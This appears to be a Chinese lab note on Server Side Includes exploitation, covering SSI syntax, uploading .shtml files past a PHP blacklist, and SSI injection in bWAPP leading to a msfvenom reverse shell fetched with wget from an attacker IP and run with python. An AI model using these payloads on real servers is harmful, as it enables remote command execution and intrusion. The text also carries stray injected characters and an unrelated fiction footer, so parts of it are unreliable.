SSI 漏洞學(xué)習(xí)筆記

0x01 SSI (Server Side Includes)

SSI (Server Side Include)寝受,是一種簡(jiǎn)單的服務(wù)器端解釋性腳本語言。通過使用 #include 指令將一個(gè)或多個(gè)文件內(nèi)容包含到web服務(wù)器上的網(wǎng)頁中。SSI 還包含了具有條件特征和調(diào)用外部程序的控制指令。它被 Apache , LiteSpeed , Nginx , IIS 以及 W3CJigsaw 所支持。

而為了讓web服務(wù)器識(shí)別 ssi 允許的 html 文件并且執(zhí)行它的指令圈暗,需要和其他后端語言一樣,需要規(guī)定一個(gè)后綴名以識(shí)別解析(其默認(rèn)的后綴名是 .shtml , .stm , .shtm 处面,或者可以在服務(wù)器端自行進(jìn)行配置)厂置。

SSI 具有強(qiáng)大的功能,只要是用一條簡(jiǎn)單的 ssi 指令就可以實(shí)現(xiàn)整個(gè)網(wǎng)站的更新魂角,時(shí)間日期的動(dòng)態(tài)更新昵济,以及執(zhí)行 shellCGI 腳本程序等復(fù)雜功能。它與 CGI 類似野揪,不同之處在于SSI用于在加載當(dāng)前頁面之前或在頁面可視化時(shí)候執(zhí)行某些操作访忿。

0x02 語法 & 指令

1. 語法

SSI 的語法很簡(jiǎn)單

<!--#directive parameter=value parameter=value -->

偽指令放置在 HTML 注釋中。需要注意的就是該語法不允許在 < 和指令之間留空格斯稳。而關(guān)于 Apache 的 SSI 格式規(guī)定中海铆,必須在 --> 之前用空格字符關(guān)閉該元素

image

2. 指令

通用指令

以下是NCSA HTTPd時(shí)代以來的 SSI 指令。它們得以所有實(shí)現(xiàn)的支持

? ? ? ? ? ? ? ?? ? ? ? ? ? ? ?? ? ? ? ? ? ? ?? ? ? ? ? ? ? ?? ? ? ? ? ? ? ?? ? ? ? ? ? ? ? ?? ? ? ? ? ? ? ?? ? ? ? ? ? ? ?? ? ? ? ? ? ? ?? ? ? ? ? ? ? ?? ? ? ? ? ? ? ?? ? ? ? ? ? ? ??指令? ? ? ? ? ? ? ?? ? ? ? ? ? ? ?? ? ? ? ? ? ? ?? ? ? ? ? ? ? ?? ? ? ? ? ? ? ?? ? ? ? ? ? ? ? ?? ? ? ? ? ? ? ?? ? ? ? ? ? ? ?? ? ? ? ? ? ? ?? ? ? ? ? ? ? ?? ? ? ? ? ? ? ?? ? ? ? ? ? ? ?? ? ? ? ? ? ? ? ?? ? ? ? ? ? ? ?? ? ? ? ? ? ? ?? ? ? ? ? ? ? ?? ? ? ? ? ? ? ?? ? ? ? ? ? ? ? ?? ? ? ? ? ? ? ?? ? ? ? ? ? ? ?? ? ? ? ? ? ? ?? ? ? ? ? ? ? ?? ? ? ? ? ? ? ?? ? ? ? ? ? ? ?? 參數(shù)? ? ? ? ? ? ? ?? ? ? ? ? ? ? ?? ? ? ? ? ? ? ?? ? ? ? ? ? ? ?? ? ? ? ? ? ? ? ?? ? ? ? ? ? ? ?? ? ? ? ? ? ? ?? ? ? ? ? ? ? ?? ? ? ? ? ? ? ?? ? ? ? ? ? ? ?? ? ? ? ? ? ? ?? ? ? ? ? ? ? ?? 描述 ? ? ? ? ? ? ? ?? ? ? ? ? ? ? ?? ? ? ? ? ? ? ?? ? ? ? ? ? ? ?? ? ? ? ? ? ? ?? ? ? ? ? ? ? ?? ? ? ? ? ? ? ?? ? ? ? ? ? ? ?? ? ? ? ? ? ? ? ?? ? ? ? ? ? ? ?? ? ? ? ? ? ? ?? ? ? ? ? ? ? ?? ? ? ? ? ? ? ? ? ? ? ? ? ?? ? ? ? ? ? ? ?? ? ? ? ? ? ? ?? ? ? ? ? ? ? ?? ? ? ? ? ? ? ?? ? ? ? ? ? ? ?? ? ? ? ? ? ? ?? ? ? ? ? ? ? ?? ? ? ? ? ? ? ? ?? ? ? ? ? ? ? ?? ? ? ? ? ? ? ?? ? ? ? ? ? ? ?? ? ? ? ? ? ? ?? ? ? ? ? ? ? ?? ? ? ? ? ? ? ?? ? ? ? ? ? ? ?? ? ?? ? ? ? ? ? ? ?? ? ? ? ? ? ? ?? ? ? ? ? ? ? ?? ? ? ?? ? ? ? ? ? ? ?? ? ? ? ? ? ? ??例子? ? ? ? ? ? ? ?? ? ? ? ? ? ? ?? ? ? ?? ? ? ? ? ? ? ?? ? ? ? ? ? ? ??? ? ? ? ? ? ?? ? ? ? ? ? ? ?? ? ? ? ? ? ? ?? ? ? ? ? ? ? ?? ? ? ? ? ? ? ?? ? ? ? ? ? ? ?? ? ? ? ? ? ? ? ?? ? ? ? ? ? ? ?? ? ? ? ? ? ? ?? ? ? ? ? ? ? ?? ? ? ? ? ? ? ?? ? ? ? ? ? ? ?? ? ? ? ? ? ? ?? ? ? ? ? ? ? ??? ? ? ? ? ? ? ?? ? ? ? ? ? ? ?? ? ? ? ? ? ? ?? ? ? ? ? ? ? ?? ? ? ? ? ? ? ?? ? ? ? ? ? ? ?? ? ? ? ? ? ? ?? ? ? ? ? ? ? ?? ? ? ? ? ? ? ? ?? ? ? ? ? ? ? ?? ? ? ? ? ? ? ?? ? ? ? ? ? ? ?? ? ? ? ? ? ? ?? ? ? ? ? ? ? ?? ? ? ? ? ? ? ?? ? ? ? ? ? ? ??
include file virtual 這可能是最常用的SSI指令挣惰,允許一個(gè)文檔的內(nèi)容包含于另一個(gè)文檔中卧斟。filevirtual 參數(shù)指定了要包含的文件(html頁面殴边,文本文件,腳本等)珍语。包括另一個(gè)文件的內(nèi)容或運(yùn)行 CGI 腳本的結(jié)果锤岸。如果該進(jìn)程無權(quán)限讀取文件或執(zhí)行腳本,則包含將失敗板乙。virtual 默認(rèn)指定根目錄是偷,而 file 默認(rèn)指定當(dāng)前路徑,且應(yīng)當(dāng)不采用絕對(duì)路徑的方式募逞。通常默認(rèn)禁止跨目錄(..)蛋铆。 <!--#include virtual="menu.cgi" -->
<!--#include file="footer.html" -->
exec cgi cmd 該偽指令在服務(wù)器上執(zhí)行程序,腳本或 Shell 命令放接。cmd 參數(shù)指定服務(wù)器端命令刺啦;cgi 參數(shù)指定 CGI 腳本的路徑。當(dāng)前 SSI 腳本的 PATH_INFOQUERY_STRING 將會(huì)傳遞給 CGI 腳本透乾,因此應(yīng)該用 exec cgi 來替代 include virtual 指令洪燥。 <!--#exec cgi="/cgi-bin/foo.cgi" -->
<!--#exec cmd="ls -l" -->
echo var 此偽指令顯示指定的 HTTP 環(huán)境變量 的內(nèi)容。變量包括 HTTP_USER_AGENT , LAST_MODIFIEDHTTP_ACCEPT 乳乌。 <!-#echo var="REMOTE_ADDR" -->
config timefmt sizefmt errmsg 此偽指令為日期、時(shí)間市咆、文件大小和錯(cuò)誤消息(當(dāng) SSI 命令失敗時(shí)返回)配置顯示格式汉操。 <!--#config timefmt="%y %m %d" -->
<!--#config sizefmt="bytes" -->
<!--#config errmsg="SSI command failed!" -->
flastmod fsize file virtual 這兩指令顯示指定文檔的最后修改日期或指定文檔的尺寸。file 參數(shù)默認(rèn)指定當(dāng)前路徑蒙兰,virtual 默認(rèn)指定根目錄磷瘤。 <!--#flastmod virtual="index.html" -->
<!--fsize file="script.pl" -->

控制指令

這些指令是在后面添加到 SSI 中的。包括 if-elif-else-endif 流控制以及變量寫入等

? ? ?? ? ? ? ? ? ? ?? ? ? ? ? ? ? ?? 指令? ? ?? ? ? ? ? ? ? ?? ? ? ? ? ? ? ??? ? ?? ? ? ? ?? ? ? ? ? ? ? ?? ? ? ? ? ? ? ??? ? ?? ? ? ? ? ? ? ?? ? ? ? ? ? ? ??指令? ? ?? ? ? ? ? ? ? ?? ? ? ? ? ? ? ??? ? ?? ? ? ? ? ? ? ?? ? ? ? ? ? ? ?? 描述 例子 ? ? ?? ? ? ? ? ? ? ?? ? ? ? ? ? ? ??支持的中間件? ? ?? ? ? ? ? ? ? ?? ? ? ? ? ? ? ??
if elif else endif expr 這個(gè)就是我們平常的 If-else 語句搜变。 <!--#if expr="${Sec_Nav}" -->
<!--#include virtual="secondary_nav.txt" -->
<!--#elif expr="${Pri_Nav}" -->
<!--#include virtual="primary_nav.txt" -->
<!--#else -->
<!--#include virtual="article.txt" -->
<!--#endif -->
Everything
set var value 設(shè)置 SSI 變量值采缚。Apache 提供了附加參數(shù),用于編碼挠他。 <!--#set var="foo" value="bar" --> Apache Nginx
printenv 該指令輸出所有 SSI 變量及其值的列表扳抽,包括環(huán)境變量和用戶定義的變量。它沒有屬性殖侵。 <!--#printenv --> Apache

0x03 利用場(chǎng)景和方式

說了這么多贸呢,接下來我們看看利用方式

1、文件上傳

本示例采用 MAMP PRO 的集成環(huán)境(用的 Apache) 拢军,首先需要開啟 SSI 楞陷,具體配置問題可以參考 Apache、Nginx 服務(wù)配置服務(wù)器端包含(SSI)

在某些環(huán)境下茉唉,上傳點(diǎn)可能限制了我們的上傳后綴

我們可以嘗試上傳 shtmlshtm(當(dāng)然固蛾,如果服務(wù)器配置了其他后綴解析的話都可以靈活地進(jìn)行嘗試

1)例如我們此處是一個(gè)黑名單過濾结执,不允許上傳 php 的腳本文件

image

2)此處便可嘗試上傳 shtml 文件,嘗試?yán)?SSI 漏洞執(zhí)行命令

image
image

3)當(dāng)然艾凯,我們可以直接通過執(zhí)行的命令來 getshell

image
image

2昌犹、SSI注入

如果中間件開啟了 SSI ,且頁面存在 xss 漏洞的話览芳,可以嘗試進(jìn)行 SSI 注入(這里采用了 bwapp 進(jìn)行測(cè)試)

image

1)測(cè)試發(fā)現(xiàn)存在xss

image

2)xsspayload 替換為 ssi

test<!--#exec cmd="ls -l" -->
image

3)利用 ssi 反彈 shell

利用msfvemon生成木馬

msfvenom -p python/meterpreter/reverse_tcp lhost=192.168.101.8 lport=4444 -f raw > shell.py
image

利用 ssi 遠(yuǎn)程下載木馬

image
test<!--#exec cmd="wget http://192.168.101.8/shell.py" -->

利用msf獲取反彈shell

image

這里不知為何斜姥,wget 到網(wǎng)站當(dāng)前目錄,執(zhí)行命令彈不回 shell 沧竟,下載到 /tmp 目錄又是空文件铸敏,知道到大佬還請(qǐng)指點(diǎn)下。

image
image

這里最后用了一個(gè)笨方法悟泵,把 msf 生成的 payloadecho 命令分段寫進(jìn) /tmp 目錄以后(太長了會(huì)報(bào)錯(cuò))杈笔,再賦予權(quán)限

image

執(zhí)行命令,成功彈回 shell

t<!--#EXEC cmd="python /tmp/sss.py" -->
image

參考文獻(xiàn)

Server side Includes - Wikipedia

服務(wù)器端包含注入SSI分析總結(jié)

CTF-SSI注入

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
  • 序言:七十年代末糕非,一起剝皮案震驚了整個(gè)濱河市蒙具,隨后出現(xiàn)的幾起案子,更是在濱河造成了極大的恐慌朽肥,老刑警劉巖禁筏,帶你破解...
    沈念sama閱讀 222,104評(píng)論 6 515
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件,死亡現(xiàn)場(chǎng)離奇詭異衡招,居然都是意外死亡篱昔,警方通過查閱死者的電腦和手機(jī),發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 94,816評(píng)論 3 399
  • 文/潘曉璐 我一進(jìn)店門始腾,熙熙樓的掌柜王于貴愁眉苦臉地迎上來州刽,“玉大人,你說我怎么就攤上這事浪箭∷胍危” “怎么了?”我有些...
    開封第一講書人閱讀 168,697評(píng)論 0 360
  • 文/不壞的土叔 我叫張陵奶栖,是天一觀的道長匹表。 經(jīng)常有香客問我,道長驼抹,這世上最難降的妖魔是什么桑孩? 我笑而不...
    開封第一講書人閱讀 59,836評(píng)論 1 298
  • 正文 為了忘掉前任,我火速辦了婚禮框冀,結(jié)果婚禮上流椒,老公的妹妹穿的比我還像新娘。我一直安慰自己明也,他們只是感情好宣虾,可當(dāng)我...
    茶點(diǎn)故事閱讀 68,851評(píng)論 6 397
  • 文/花漫 我一把揭開白布惯裕。 她就那樣靜靜地躺著,像睡著了一般绣硝。 火紅的嫁衣襯著肌膚如雪蜻势。 梳的紋絲不亂的頭發(fā)上,一...
    開封第一講書人閱讀 52,441評(píng)論 1 310
  • 那天鹉胖,我揣著相機(jī)與錄音握玛,去河邊找鬼。 笑死甫菠,一個(gè)胖子當(dāng)著我的面吹牛挠铲,可吹牛的內(nèi)容都是我干的。 我是一名探鬼主播寂诱,決...
    沈念sama閱讀 40,992評(píng)論 3 421
  • 文/蒼蘭香墨 我猛地睜開眼拂苹,長吁一口氣:“原來是場(chǎng)噩夢(mèng)啊……” “哼!你這毒婦竟也來了痰洒?” 一聲冷哼從身側(cè)響起瓢棒,我...
    開封第一講書人閱讀 39,899評(píng)論 0 276
  • 序言:老撾萬榮一對(duì)情侶失蹤,失蹤者是張志新(化名)和其女友劉穎丘喻,沒想到半個(gè)月后脯宿,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體,經(jīng)...
    沈念sama閱讀 46,457評(píng)論 1 318
  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡仓犬,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 38,529評(píng)論 3 341
  • 正文 我和宋清朗相戀三年嗅绰,在試婚紗的時(shí)候發(fā)現(xiàn)自己被綠了。 大學(xué)時(shí)的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片搀继。...
    茶點(diǎn)故事閱讀 40,664評(píng)論 1 352
  • 序言:一個(gè)原本活蹦亂跳的男人離奇死亡,死狀恐怖翠语,靈堂內(nèi)的尸體忽然破棺而出叽躯,到底是詐尸還是另有隱情,我是刑警寧澤肌括,帶...
    沈念sama閱讀 36,346評(píng)論 5 350
  • 正文 年R本政府宣布点骑,位于F島的核電站,受9級(jí)特大地震影響谍夭,放射性物質(zhì)發(fā)生泄漏黑滴。R本人自食惡果不足惜,卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 42,025評(píng)論 3 334
  • 文/蒙蒙 一紧索、第九天 我趴在偏房一處隱蔽的房頂上張望袁辈。 院中可真熱鬧,春花似錦珠漂、人聲如沸晚缩。這莊子的主人今日做“春日...
    開封第一講書人閱讀 32,511評(píng)論 0 24
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽荞彼。三九已至冈敛,卻和暖如春,著一層夾襖步出監(jiān)牢的瞬間鸣皂,已是汗流浹背抓谴。 一陣腳步聲響...
    開封第一講書人閱讀 33,611評(píng)論 1 272
  • 我被黑心中介騙來泰國打工, 沒想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留寞缝,地道東北人癌压。 一個(gè)月前我還...
    沈念sama閱讀 49,081評(píng)論 3 377
  • 正文 我出身青樓,卻偏偏與公主長得像第租,于是被迫代替她去往敵國和親措拇。 傳聞我的和親對(duì)象是個(gè)殘疾皇子,可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 45,675評(píng)論 2 359